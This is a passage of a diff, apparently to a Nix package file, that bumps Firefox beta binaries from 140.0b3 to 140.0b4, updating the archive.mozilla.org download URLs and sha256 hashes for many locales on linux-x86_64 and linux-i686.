-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ne-NP/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ne-NP/firefox-140.0b4.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "717d6e19cd002fc19208cf2506f2d4508561316f759154ff212928a20a44a195";
+      sha256 = "5b5b6cd0004f7ace163588b162dd2ff7ddb08064e5bf2e4ee6c73a5d855c3944";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/nl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/nl/firefox-140.0b4.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "765d8adf054295479e63d40fead98656d3d672bb7f4a42a8dc9c0cd5e8c29815";
+      sha256 = "60a452998b7797a259080a39ce7900aa45a3ec92e09933d3eebd654cd2d9cdf5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/nn-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/nn-NO/firefox-140.0b4.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "74d183d64ed423bc1dea8972a4f32378aded5c733b6f58a1e6d178f49024f7c4";
+      sha256 = "b1cc96a175d3377eaf6ad67f3737d08b5fdf45e54312d0147448167753e0b413";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/oc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/oc/firefox-140.0b4.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "883fe66e83b2af674d9596a52910f28703548bd7c0615e15587a980a93d38c16";
+      sha256 = "44839b3805ab01d637a5adc270e9e86086f96b7b947162039f6ce356c7e98d99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/pa-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/pa-IN/firefox-140.0b4.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "ee586be768d0035a681acf83b5c68cc1c5cab04054afe8deb141a4c9f21d2890";
+      sha256 = "3ee9443ed3a85a3b4c2a22db5ee258bfc21ae8785675ed5b11ee8d5563cd16f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/pl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/pl/firefox-140.0b4.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "c65c7e68fb0ccf5b01bf17aee844c4e4ecf5192a630a2b4e2bb30de5752a9f9d";
+      sha256 = "30270dbb80419f92173ab90c2b99269dcdc5052a94efd1bed12b223d68ec0fc8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/pt-BR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/pt-BR/firefox-140.0b4.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "a097d98e98410dff2c051bd1d9a2667d54da22df0a1578c0d558e028835dd372";
+      sha256 = "e22b7b27b89cecfd7866648ba16db249f8b53856bc9e49e7d722ab006c61a052";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/pt-PT/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/pt-PT/firefox-140.0b4.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "788048f852dd4f215dcca69d6e658e75bf52fa9a2bdc7118b27d47025343d55a";
+      sha256 = "9592fbe56057246e6519641e4ce97d727e894cd70fab2aa91aa63196e13535da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/rm/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/rm/firefox-140.0b4.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "b691ae86cfc7a1d4d22a25c04d84e89e3b616970012559bc182225539af0a92b";
+      sha256 = "15e0f382c19db6af473d49dbdfb48c2b8891255cf7b85694f1c0ef12620c4bef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ro/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ro/firefox-140.0b4.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "b9f502952d67e13bec4a5d4c7a780ed5f06c628463cb6c4a3c5b70febb2724f4";
+      sha256 = "480b8d1c13c8a647feb799366c91c9223a3b3afc32e6e758d7edb57d016fb4cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ru/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ru/firefox-140.0b4.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "daa5e9adffeff031b2bd764802482730cb37335a6a4b5ba011e708ebe39f771c";
+      sha256 = "983807e6ee0951ff1cb56518a5d4c764a204616a6826381e43dba49f8c398836";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sat/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sat/firefox-140.0b4.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "3a2ebe89dc72f8b6988fb6742340623423df9d166030ed691c884d013de0fa83";
+      sha256 = "3be3f00cece3378b9afb0364339527d6f2cad06c73cbf095a4c6fe34a0f7171f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sc/firefox-140.0b4.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "db27ece945871d6f988ae710daf52874e4d6cbe03eb950c4a4faeff6d67bd9b1";
+      sha256 = "780c0e439a16d97b5a0a4e8dbf21695b18316083496655d89ca7c15762d30ca1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sco/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sco/firefox-140.0b4.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "976b40edd9700fbc012b55584824c77b4839be8cc2269dc8a178c6b2b3e57041";
+      sha256 = "394998ba5da43c7ffdb36ba640f3657e286faeb09b4895171c689a70aa0357ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/si/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/si/firefox-140.0b4.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "e7d94105a1bbfbb30d220e7b10b6c59118a7556541bb2a25ba4aa3b454827841";
+      sha256 = "c6f7172c8ae66768a8c1c8ec1237d50c1409952abd90f5c7baa6b0c2db35c94b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sk/firefox-140.0b4.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "cc38654e9236e9dfc8b58e3795c9d347447f3832c8d5b6d50afbfc1298c1c996";
+      sha256 = "51e4555381d62f4eabcdb45817fd91cd025eca458a175c8c9a9927f3c8eea624";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/skr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/skr/firefox-140.0b4.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "12e95e82e29358039287da28a81a7f90d9d6dc7262f0f2aa541253856931eab6";
+      sha256 = "9ef1756da491f25f7357deb640604f470a3a159211f0ea1ac4c31a657a26b1e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sl/firefox-140.0b4.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "bc6c1f3f4a8540baaa764aa34d571bb5743e2364cebd49d3326ddb01ba6b20cc";
+      sha256 = "62d5913ad935a30f8b6536231a747b54b69f81681f81468a5ddbd5daabe10431";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/son/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/son/firefox-140.0b4.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "d949c0da8ab52490c03fb8577dcd10a96cdf68378b4a70d5fd9ac28f6cb660e9";
+      sha256 = "df3ac2759b995a974762a94018ae6c7c142209e7fd12be96186eaf56b5447d50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sq/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sq/firefox-140.0b4.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "fb531412139967abb42c99a5a68fad323892b6101953e8e6207d45b9f62a6f94";
+      sha256 = "a107def094ebf1d6bd77b05c153747fc058f3fcced730aa5513a8a33a2f34ed0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sr/firefox-140.0b4.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "a04d2d0347fb2761ad58b85304e0f8f9ffd343366608fd17cf687c2d53e61009";
+      sha256 = "1ec6bb2204b6e25e1cef465abb74ea115914d1ec179006f4ff9ab8d5cfa95b05";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sv-SE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sv-SE/firefox-140.0b4.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "ae8abbd42e9dd09213511f359d0a069e8f58b8fb8b1139600fe678cc437e7fa1";
+      sha256 = "47ef089aae34922e892e5e24fc31f0a9ed0dadad427834d46e96dbd189236a1e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/szl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/szl/firefox-140.0b4.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "9939bccff2b5b00e0da9764d0d859eb17dc68477553c61c3bf8a3dd632779638";
+      sha256 = "c3ea0cb6a2f1430d1f96ae5a3bee2083b265936ec9a5625ffcd31c91c542ad01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ta/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ta/firefox-140.0b4.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "844ea991305f8b946b0c5ac059788ed661abb033016e8c2e096d872784ecf20e";
+      sha256 = "0a8274d9d638706a05dbb5573191fb5c604da633a39a3065dc46e75b50bfe595";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/te/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/te/firefox-140.0b4.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "bb21e776ffa953c82444f34ae9f81d06fa8d725c5a86e5b85b25d4171ce6079f";
+      sha256 = "9de2c77e2cfc1cb33de926f2f0af656369071ce896086c39b0f6e823802c5651";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/tg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/tg/firefox-140.0b4.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "2f3d94b992a2a89169cb3628eb807967c0f4b02fb25c14ee7f9ea925c4d78e85";
+      sha256 = "ccdf9edaa6d7642a066800f5edee083c92303473ea9eeafd04e17505367ce082";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/th/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/th/firefox-140.0b4.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "cf58b75d8a9f1a4b8dd702a5dc4f3b8fb676e0f1c0d8949b445cef0aede13586";
+      sha256 = "ca2deb4e79e3ed447e0b62c678dfba1bc3d47749d983e478f98eef8f075eeea8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/tl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/tl/firefox-140.0b4.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "8cb619b4d8caa1a6e492b8b2815b4c41a25fe3b6f53852d99ca55da56fab8815";
+      sha256 = "24b5c9689dc2958f4607932614f9d3ac97286248d932bbe43574c71425126eee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/tr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/tr/firefox-140.0b4.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "e5b39883c5e0a906873f4af0e8d6a630337d05467759741276077b70deeaa23a";
+      sha256 = "278381e636f98ec68c9ed75c721cff588f2e291a1611386db6b4f0038cfa7403";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/trs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/trs/firefox-140.0b4.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "a19d8f0262019768cbc61edbe3ce7b5eb69571b5ca1c5cc9736025f10e6250ec";
+      sha256 = "5d4d4db5dcd4428e7ab6d351d4a1e6fdb7f6f327d031ec045f1e0572f39569be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/uk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/uk/firefox-140.0b4.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "4525800927692a4230034a5ac44351b87857e5292e5bec60aa478d52f55c0606";
+      sha256 = "1f7ed2ac92af2d802e743433d6d8bb501057a019770178afc4f83d9382f082ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ur/firefox-140.0b4.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "fad4ca04ddb978bfb405ef496cecfc54e0f59ad5cfe0adefe9f79bd55da6dc9a";
+      sha256 = "941d716e18c08961041052a3e3ce47b8b927e3c2ff4e2d02aa377e18c3ee9899";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/uz/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/uz/firefox-140.0b4.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "9098b78744b8b8af558fd4edbab5be3a573048405b05376d0a08a9d2282784c9";
+      sha256 = "542417ee58e5997d60c3eaba77f3e1d7be9f5bef5f4d96e3ca9252988a1dd4ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/vi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/vi/firefox-140.0b4.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "cc10fc7919e04a0401f910ed84092e8eeb8f926c2410c4ab2a9feb34b0a1fd80";
+      sha256 = "d501faabcda4703590242da47168bd90c1ba5b8ccf53573ea92d4ee150c60347";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/xh/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/xh/firefox-140.0b4.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "a9c75ada1290493a0f1265d47ed584dd5fe4c6ff3d763baee03d5c6741775394";
+      sha256 = "c0aade40862694b4eefc2e1b138e28802bf72e7ca99a9aa77dff668140c0f8f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/zh-CN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/zh-CN/firefox-140.0b4.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "0423bc10bc9f1affe9c4a54387c9c06d003fa5d600c42e351cccd1b94c096a13";
+      sha256 = "d6acae4e60b6b50f05a17630e45da73dbe2ff691ec216c0368493efd44c4b978";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/zh-TW/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/zh-TW/firefox-140.0b4.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "e07202200f0f41d691d8d4a4225b332b51fd00c14af0e5c2c61c1317938a69bd";
+      sha256 = "7493a417c1d4cca1bcbfcd782d8b5d0d4ba3817b18bc7598544e7ca1b9f5c06f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ach/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ach/firefox-140.0b4.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "3c3f09f172315420d76a89352cf556095d3120cc8fce3384b825680978682886";
+      sha256 = "3be76f9194d24421ce986d088a4e54f38a9e934a272f62c6aa6e9bef9a09a666";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/af/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/af/firefox-140.0b4.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "eaedf8f14d1a89141cfdd02d1331982d57c283810229f1bc4a2add6acf47a7dc";
+      sha256 = "a8eb60898c425fd996b02c304d495668b283dcf763c034c30c19841b71fe5be3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/an/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/an/firefox-140.0b4.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "52d635cf3d2cb3fe60f2f5a120714c011b6c5ddf46715450102d457fc9962318";
+      sha256 = "6722650b3809255e939976cda6f6a15b6c1b88e0a3fb2143ce14f05bc1748001";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ar/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ar/firefox-140.0b4.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "893cad4f3e9ff8f6eb46861c17873d29ce07cecab1a52c666f3af91ac94b0f4a";
+      sha256 = "96246f81a7d0678bb32714ba376bbb2834f989eb7418d4edd1827d4511e344a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ast/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ast/firefox-140.0b4.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "c7981fccfb22d3afb4e36e34ca11629bbb064b2256d297e0717dd7a7c76ef502";
+      sha256 = "ccedf416b838286c42ffa27534d9328916a5d51d7897a8f9f9f0914b317ecf9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/az/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/az/firefox-140.0b4.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "a1192052f0a9dfc637fe6dfea16b4bcc4a1e7a6881d025efcbe65f4dd4a49027";
+      sha256 = "0efad9674c64ee1f67f930b46266124d3c0e1b4220522700a89ce8e2abdd133b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/be/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/be/firefox-140.0b4.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "575d234e0d09dc61dd7eb2574b0db946b866472e31f45e80c6af90c99dd83cf6";
+      sha256 = "fe4d45528436e5a6eb6d6cbe692974a8e07f3d7721bf2bf9f3aba2bd4c40a685";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/bg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/bg/firefox-140.0b4.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "39c2fc75618ea33423a5ae0c606d416484c0c6bceb82f6ca79e12e26efb23220";
+      sha256 = "793c784ffd98c017155376f029e5270a5d2c5195e017ebaabee330031b5281ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/bn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/bn/firefox-140.0b4.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "c92ac4831df0e4e4f8af68ddcb82d3bae98505845f04bfd39bb3e573639d648d";
+      sha256 = "52e39351fb98bbdebd22764b77c420a2778adcb6ee6fa9c82845c4cddb4a48cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/br/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/br/firefox-140.0b4.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "39c3b934fe6bb0eb593d52fc17983994a680261e74f5764c9cf2dd5e0ecc0527";
+      sha256 = "fa0707853f1b21e708b627a58127efa6848935bdfb071bd9dfa34cc712c544a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/bs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/bs/firefox-140.0b4.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "dd4b8a6c02cbe11536ef7de6d1ea64bb17eb16806aa6dcf838847f7b2649ba22";
+      sha256 = "038c08de66a19e28293dc5ad8ab5ff099a653fe11e66a50f117b09201b0487cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ca-valencia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ca-valencia/firefox-140.0b4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "3a43a9986e3bafbcb8c59904f8de749cd9a8e11a5a6424780c1db1f75e57a152";
+      sha256 = "893d8ccd8276108f74802b6ade3aeaa182d35f24a7d4f59f73f7d9f0083e5374";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ca/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ca/firefox-140.0b4.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "0e11daa82aa4663c1d07f96fa68cdd7e06d404ac372887e510173db91456203b";
+      sha256 = "89cf5bb8d68c2e396fc3459d708ecf561d2ab58dee924f81034ecff6a9a58f89";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/cak/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/cak/firefox-140.0b4.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "d3558555d2e55d4089a224c6f49cc9d4ae60cc5b55b95ea29b131f53e9516693";
+      sha256 = "6dc7a40dc583ad71310ca5844563298d68b2f4dfe6160d77323bee582ed70054";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/cs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/cs/firefox-140.0b4.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "a6c2c7db6633d6fe5fd24ee17efb6cff59e00959fa0226234bc90805247fe0bb";
+      sha256 = "0bb58b90686bafd341991a97b4006417970684d0c82b542718e539c12ec11768";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/cy/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/cy/firefox-140.0b4.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "59c697c88dcf4658cd4ea85d5c110239b786df15d84e21006c3ae9254d932122";
+      sha256 = "d704d90a4b3063f983651d777064c9d705d9deedb1e0f69428687d8d383762ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/da/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/da/firefox-140.0b4.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "42c2bd817b7f337146f52c00b3671ddbc48f4a1b39bbece4e9fbcd3a97545e33";
+      sha256 = "5675f10f6fda9082aacb42895dfcf0f78e6e53c649b2a620fadffd92db731b4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/de/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/de/firefox-140.0b4.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "c8a4c21ce54d08d9539d2dedbc14a108842c401354e59b2a2e3f79f0322305e1";
+      sha256 = "a3b2053b85e7ec3046c2f4f2e437c685fc5d4ead7dcfdce1ba40e1560251317e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/dsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/dsb/firefox-140.0b4.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "7eab0cdf71a1571227b505450ed7af7d5605c306116a1fdb92697e2a5653afa7";
+      sha256 = "c3a198d51af7a9f1301b85d586ac61c0afd8b1243656e36de880d14c2bf51ce7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/el/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/el/firefox-140.0b4.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "f903fe1eb373a4ef6160aa6137f7081f52c2134301b807417c4a9fbd66cc3ad2";
+      sha256 = "7921f62be7826f76229007503e8e27915b7d682346baf5bcf6149dedd4a921c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/en-CA/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/en-CA/firefox-140.0b4.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "b9718d0a1333f27862797531fc96a410d28f483537f9eb23d8c42ce5abe755b9";
+      sha256 = "ba39324c5662162aa1674d7cab7d4edf6fb02fd05bb99b2b0fb3f0d1fe7ecf71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/en-GB/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/en-GB/firefox-140.0b4.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "cf2534426f9b5fce7e8aa5fc301c3e59b4e1718fb87a9b2737f9d04de1011a8a";
+      sha256 = "02c2bc0cfa15192edb33b22834b678c9a8d99372cbd028d48a190113b8f93d7b";
     }
     {
